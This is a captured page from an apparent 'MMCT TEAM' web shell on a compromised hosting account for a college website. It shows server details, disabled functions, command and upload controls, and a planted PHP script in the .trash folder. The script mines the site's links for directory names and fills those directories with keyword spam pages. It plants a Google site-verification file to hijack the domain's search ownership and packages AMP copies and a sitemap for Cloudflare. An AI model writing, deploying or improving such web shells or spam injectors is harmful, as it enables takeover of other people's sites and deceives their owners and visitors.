MMCT TEAM
Server IP : 2a02:4780:3:2287:0:3736:a38e:8  /  Your IP : 216.73.216.180
Web Server : LiteSpeed
System : Linux sg-nme-web2187.main-hosting.eu 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail, proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/shvvspatilbedcollege.in/../../.trash/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/shvvspatilbedcollege.in/../../.trash/simpel.php
<?php
/**
 * SCRIPT FINAL V5: DUAL STORAGE + FALLBACK DIRS
 * Server: index.html (Konten Asli)
 * ZIP: index.html (AMP) & lp.html (Konten Asli)
 * Fitur Baru: Otomatis buat dir umum jika dir latin tidak ditemukan.
 */

$listFile = 'list.txt';
$templateFile = 'template.php';
$templateAmpFile = 'template-amp.php';
$limitDir = 10; 

$googleFileName = 'google0471d6e39b743b22.html';
$googleContent  = 'google-site-verification: google0471d6e39b743b22.html';

$host = $_SERVER['HTTP_HOST'];
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";
$baseUrl = $protocol . $host;

function getCleanDirsOnly($url, $limit) {
    $options = ["http" => ["header" => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\n"]];
    $context = stream_context_create($options);
    $html = @file_get_contents($url, false, $context);
    
    $cleanDirs = [];
    $blacklist = ['wp-admin', 'wp-content', 'wp-includes', 'category', 'tag', 'author', 'search', 'home', 'login', 'register'];

    if ($html) {
        $dom = new DOMDocument();
        @$dom->loadHTML($html);
        $xpath = new DOMXPath($dom);
        $nodes = $xpath->query('//a[@href]');
        
        foreach ($nodes as $node) {
            $href = $node->getAttribute('href');
            $path = parse_url($href, PHP_URL_PATH);
            $slug = trim($path, '/');
            if (empty($slug) || strpos($slug, '.') !== false || strpos($slug, '?') !== false) continue;
            if (in_array(strtolower($slug), $blacklist)) continue;
            if (preg_match('/^[a-z0-9\-]+$/i', $slug)) {
                $cleanDirs[] = strtolower($slug);
            }
        }
    }

    $result = array_slice(array_unique($cleanDirs), 0, $limit);

    // --- FITUR FALLBACK: Jika tidak ada dir latin ditemukan ---
    if (empty($result)) {
        $fallbackList = ['news', 'promo', 'game', 'update', 'info', 'event', 'article', 'official', 'blog', 'play'];
        shuffle($fallbackList);
        $result = array_slice($fallbackList, 0, 5); // Ambil 5 direktori umum
    }

    return $result;
}

// 1. Eksekusi Pencarian atau Gunakan Fallback
$targetDirs = getCleanDirsOnly($baseUrl, $limitDir);

// 2. Persiapan Data
$keywords = file_exists($listFile) ? file($listFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : ['Keyword Default'];
$template = file_exists($templateFile) ? file_get_contents($templateFile) : "<h1>{{judul}}</h1>";
$templateAmp = file_exists($templateAmpFile) ? file_get_contents($templateAmpFile) : "<h1>AMP: {{judul}}</h1>";

// 3. Inisialisasi ZIP[cite: 1]
$zipName = "cloudflare_deploy_" . date('Ymd_His') . ".zip";
$zip = new ZipArchive();
if ($zip->open($zipName, ZipArchive::CREATE) !== TRUE) {
    die("Gagal membuat file ZIP.");
}

$summaryData = [];

foreach ($targetDirs as $index => $dir) {
    if (!is_dir($dir)) {
        mkdir($dir, 0755, true);
    }

    $currentKw = isset($keywords[$index]) ? trim($keywords[$index]) : $keywords[array_rand($keywords)];
    
    // Simpan konten asli sebagai index.html di server[cite: 1]
    $finalHTML = str_replace(['{{judul}}', '{{dir}}'], [htmlspecialchars($currentKw), $dir], $template);
    file_put_contents("$dir/index.html", $finalHTML);
    file_put_contents("$dir/$googleFileName", $googleContent);

    // Simpan ke ZIP (AMP sebagai index.html, Asli sebagai lp.html)[cite: 1]
    $zip->addFromString("$dir/lp.html", $finalHTML);
    $finalAMP = str_replace(['{{judul}}', '{{dir}}'], [htmlspecialchars($currentKw), $dir], $templateAmp);
    $zip->addFromString("$dir/index.html", $finalAMP);
    $zip->addFromString("$dir/$googleFileName", $googleContent);
    
    $summaryData[] = [
        'url' => "$baseUrl/$dir/",
        'kw' => $currentKw
    ];
}

// Sitemap.xml ke ZIP[cite: 1]
$xml = '<?xml version="1.0" encoding="UTF-8"?><urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';
foreach ($targetDirs as $d) {
    $xml .= "<url><loc>$baseUrl/$d/</loc><lastmod>".date('Y-m-d')."</lastmod></url>";
}
$xml .= '</urlset>';
$zip->addFromString("sitemap.xml", $xml);

$zip->close();

// 4. Output Laporan[cite: 1]
echo "<div style='font-family:sans-serif; padding:20px; max-width:900px; margin:auto;'>";
echo "<h2>✅ Sinkronisasi Selesai</h2>";
echo "<p><b>Status Direktori:</b> Berhasil dibuat (" . count($targetDirs) . " folder)</p>";
echo "<p><a href='$zipName' style='background:green; color:white; padding:10px; text-decoration:none; border-radius:5px;'>Download ZIP untuk Cloudflare</a></p>";

echo "<h3>Copy Daftar URL:</h3>";
echo "<textarea style='width:100%; height:120px; padding:10px;'>";
foreach($summaryData as $item) { echo $item['url'] . "\n"; }
echo "</textarea>";

echo "<h3>Copy Daftar Keyword:</h3>";
echo "<textarea style='width:100%; height:120px; padding:10px;'>";
foreach($summaryData as $item) { echo $item['kw'] . "\n"; }
echo "</textarea>";
echo "</div>";
?>

MMCT - 2023